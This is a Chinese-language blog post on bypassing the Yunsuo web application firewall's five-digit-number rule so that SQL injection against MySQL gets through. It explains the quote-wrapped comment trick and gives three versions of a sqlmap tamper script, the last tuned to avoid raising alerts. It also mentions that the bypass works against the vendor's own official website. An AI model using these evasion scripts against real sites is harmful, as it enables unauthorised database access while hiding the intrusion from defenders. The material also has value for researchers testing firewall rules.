云锁之401规则继续绕过
0x00:简介
之前有说过由于云锁更新了401规则,也就是五位数字的正则规则后,只要启用防御,内联将会失效,即便如此,依然可以绕过。
0x01:环境搭建
直接下载最新版的云锁。截至今天20200819
由于最新版云锁变为了cs架构,需要安装客户端和服务端才能启用规则
所以在靶机安装服务器端,在本机安装控制端
使用单机管理登陆即可
可见 缺省状态下,云锁开启的是监控模式
尝试注入order by 一下
可见是没有被拦截的
这里开启云锁的防护模式,需要安装apacheweb防护插件,直接火力全开
再次尝试
已经被拦截
0x02:继续绕过
内联是肯定不行的了 那我们怎么绕过呢
虽然401规则会对所有的五位数字进行拦截,但是它依旧没有将内联符加入黑名单
也就是说 /**/我们依然可以使用
在mysql中,单引号包裹的值被作为字符型处理,比如'1' 和 1 虽然本质上都是1 但是前者是字符型的,当然该语法同样适用于其他符号
比如:
这样虽然将注释符包裹了起来,但是它依旧没有破坏语法。依旧是可以执行的,但是注释符其实并没有发挥作用,它被当作垃圾填充被mysql无视了,所以我们可以构造此类语句对云锁进行绕过。
尝试构造类似语句进行注入
成功绕过了云锁,当然 这里的后半部分注释不要也是可以的 因为已经被注释掉了。
0x03:tamper改造
我们可以将之前的tamper改造让它可以适用于新版本的云锁
之前的代码如下
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace('ORDER','/*!11444order*/')
payload=payload.replace('UNION ALL SELECT','/*!11444union*/ /*!11444all*/ /*!11444select')
payload=payload.replace("SELECT","/*!11444select")
payload=payload.replace("--"," */--")
return payload
我们只需在语句的开始加入'/*'即可。
修改后的代码如下
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace("and","'/*' and")
payload=payload.replace("ORDER","'/*' order")
payload=payload.replace("UNION","'/*' union")
return payload
当然告警还是会告警的 因为payload太多了
可以做到不告警吗 当然也可以 我们将sqlmap所有的语句第一个字符加'/*'处理即可
最终脚本如下
"""
Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
Author:pureqh.top
"""
import re
import os
from lib.core.data import kb
from lib.core.enums import PRIORITY
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("Bypass yunsuo by pureqh'%s' only %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))
def tamper(payload, **kwargs):
payload=payload.replace("and","'/*' and")
payload=payload.replace("ORDER","'/*' order")
payload=payload.replace("UNION","'/*' union")
payload=payload.replace("WHERE (","'/*' WHERE")
payload=payload.replace("||","||'/*'")
payload=payload.replace("OR (","'/*' OR (")
payload=payload.replace("RLIKE","'/*' RLIKE")
payload=payload.replace("&","'/*' '&'")
payload=payload.replace("+","'/*' +")
payload=payload.replace("`","'/*' `")
payload=payload.replace("AND","'/*' AND",1)
payload=payload.replace("(SELECT (CASE WHEN","'/*' (SELECT (CASE WHEN")
payload=payload.replace("OPERATION","'/*' 1")
payload=payload.replace("OR JSON","'/*' OR JSON")
payload=payload.replace("OR EXP","'/*' OR EXP")
payload=payload.replace(";","'/*' ;")
return payload
再试一下 可见变为了一条告警 这是由于sqlmap会探测注入点是否存在xss导致的 当然不用这句话完全可以在sqlmap将它剔除,所以这条也是可以完全消灭的。
当然不光光单引号可以 双引号同样可以
绕过官网使用双引号即可 这里单引号反而不行 可能触发了其他规则